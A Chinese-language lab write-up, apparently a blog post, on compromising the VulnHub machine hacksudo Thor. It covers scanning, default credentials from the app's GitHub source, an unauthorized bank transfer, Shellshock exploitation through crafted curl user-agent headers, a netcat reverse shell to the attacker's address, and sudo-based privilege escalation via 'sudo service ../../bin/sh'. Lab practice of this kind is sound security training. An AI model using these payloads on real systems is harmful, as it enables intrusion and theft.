打靶记录10——hacksudo---Thor

靶机:

python 复制代码
https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip

难度:

目标:

  • 取得root权限+flag

涉及攻击方法:

  • 主机发现
  • 端口扫描
  • Web目录爬取
  • 开源源码泄露
  • 默认账号密码
  • SQL注入
  • 破壳漏洞
  • GTFOBins提权

主机发现:

sudo arp-scan -l

端口扫描和服务发现

sudo nmap -p- 192.168.31.28

21端口是filtered状态,22、80端口是开放状态
sudo nmap -p22,80 -sV -sC 192.168.31.28

访问80端口的Web页面

Ctrl + U 查看源代码,发现一个/images路径

但是这些图片对我们没有啥帮助

news页面发现一个注释<!-- cgi-bin ---!>cgi是一种可以在Web服务器端使用外部应用程序来处理客户端提交的请求的一种开发技术

如果使用了cgi技术,那么在服务器下就会存在一个/cgi-bin/目录,访问目录发现403拒绝访问,但是不代表我访问具体文件的时候也拒绝,如果我知道具体文件名的话

目录扫描

sudo dirsearch -u http://192.168.31.28/,发现README.md

发现一个开源的项目,Web应用程序的源码托管在Github上面,可以进行白盒测试https://github.com/zakee94/online-banking-system/

发现默认的账号密码,但是在首页登录失败,似乎它修改了

发现/admin_login.php路径

访问发现是Administrator的登录界面,输入刚刚在Github上面发现的默认账号密码admin/password123成功登录

Add Customer那里随便输入一点数据然后点击提交

出现SQL语句报错,这里存在SQL注入漏洞,但是无法通过它突破目标边界,拿到操作系统的Shell,所以就不演示攻击手段了

点击Manage Customers发现四个账号,可以查看账号的信息,其实这里也存在SQL注入漏洞,但是也是无法突破边界

继续在github查看源代码,在customer这个表里面存在unamepwd字段

然后会默认插入一些字段

分析发现了四个默认插入表里的账号密码

python 复制代码
'zakee94','nafees123'
'salman','salman123'
'tushar','tushar123'
'jon','snow123'

和我们在Manage Customers里看到的一样

然后我们回到首页直接尝试登录zakee94账号

发现有转账记录,那我作为一个攻击者,也能进行转账的操作,我可以在这个银行自己创建一个账号,然后给我转账

尝试给Jon转账,转个2000000试试

点击Submit,出现Success成功转账,直接把钱给偷走了

学习记录:

作为一个安全从业人员,一个渗透测试工程师,通常都会去关注操作系统那些个可能被攻击者直接进入我操作系统,直接完全控制我操作系统的这些个技术类的漏洞类型很关注,但是往往很多人对这种业务逻辑层面的漏洞关注程度是不够的,而往往这种业务逻辑层面的漏洞会给企业带来直接的经济损失,所以大家在搞系统维护,安全建设相关工作的时候一定要注重技术性漏洞的同时,也要注重业务逻辑层面的漏洞。

破壳漏洞(Shellshock):

bash这种shell类型是有一个环境变量的概念的,而且每个人可以手动的定义这个环境变量,env命令查看环境变量

在我们编写bashshell脚本的时候,我们通常还可以在shell脚本中去定义一些函数,将一些我们需要重复调用的指令的集合把它定义成一个固定的函数,接下来如果我们想重复执行这一系列的操作的时候,就可以执行这个函数
w() { echo "Hello $USER, today is date:"; date; }

sudo dirsearch -u http://192.168.31.28/cgi-bin/ -f -e cgi,sh

500服务器错误响应码,说明服务器存在这个文件,但是由于我们没有提供正确的参数的变量和赋值,从而导致服务器不知道该怎么继续处理我们的请求。

那我们用nmap的脚本来进行扫描
sudo nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 192.168.31.28

发现存在漏洞并且可以利用,还给出了CVE的编号,那再看看backup.cgi文件
sudo nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi,cmd=ls 192.168.31.28发现也存在漏洞

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'which nc'" \http://192.168.31.28/cgi-bin/shell.sh通过这条命令确定这台服务器可以执行操作系统指令

反弹shell

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'nc -e /bin/bash 192.168.31.26 4444'" \http://192.168.31.28/cgi-bin/shell.sh

按照惯例升级一下shellpython3 -c "import pty;pty.spawn('/bin/bash')"

提权:

sudo -l查看sudo的权限是否存在漏洞

发现(thor) NOPASSWD: /home/thor/./hammer.sh

那么我们切换到thor账号并执行这条指令sudo -u thor /home/thor/./hammer.sh,发现你一个输入的地方类似用户名,可以随便输入,第二个输入的地方会执行系统命令并显示,那我们直接输入bash来生成一个shell,成功获得thorshell

然后sudo -l查看配置文件,发现(root) NOPASSWD: /usr/bin/cat, /usr/sbin/service

查看开源的GTFOBins网站的提权方法,发现可以sudo service ../../bin/sh来提权

输入sudo service ../../bin/sh成功提权


相关推荐
G丶AEOM13 分钟前
SSL/TLS,SSL,TLS分别是什么
网络·网络协议·网络安全
儒道易行17 分钟前
【DVWA】RCE远程命令执行实战
网络·安全·网络安全
tatasix38 分钟前
MySQL UPDATE语句执行链路解析
数据库·mysql
Hacker_LaoYi39 分钟前
网络安全与加密
安全·web安全
南城花随雪。1 小时前
硬盘(HDD)与固态硬盘(SSD)详细解读
数据库
儿时可乖了1 小时前
使用 Java 操作 SQLite 数据库
java·数据库·sqlite
懒是一种态度1 小时前
Golang 调用 mongodb 的函数
数据库·mongodb·golang
天海华兮1 小时前
mysql 去重 补全 取出重复 变量 函数 和存储过程
数据库·mysql
Koi慢热1 小时前
路由基础(全)
linux·网络·网络协议·安全
gma9992 小时前
Etcd 框架
数据库·etcd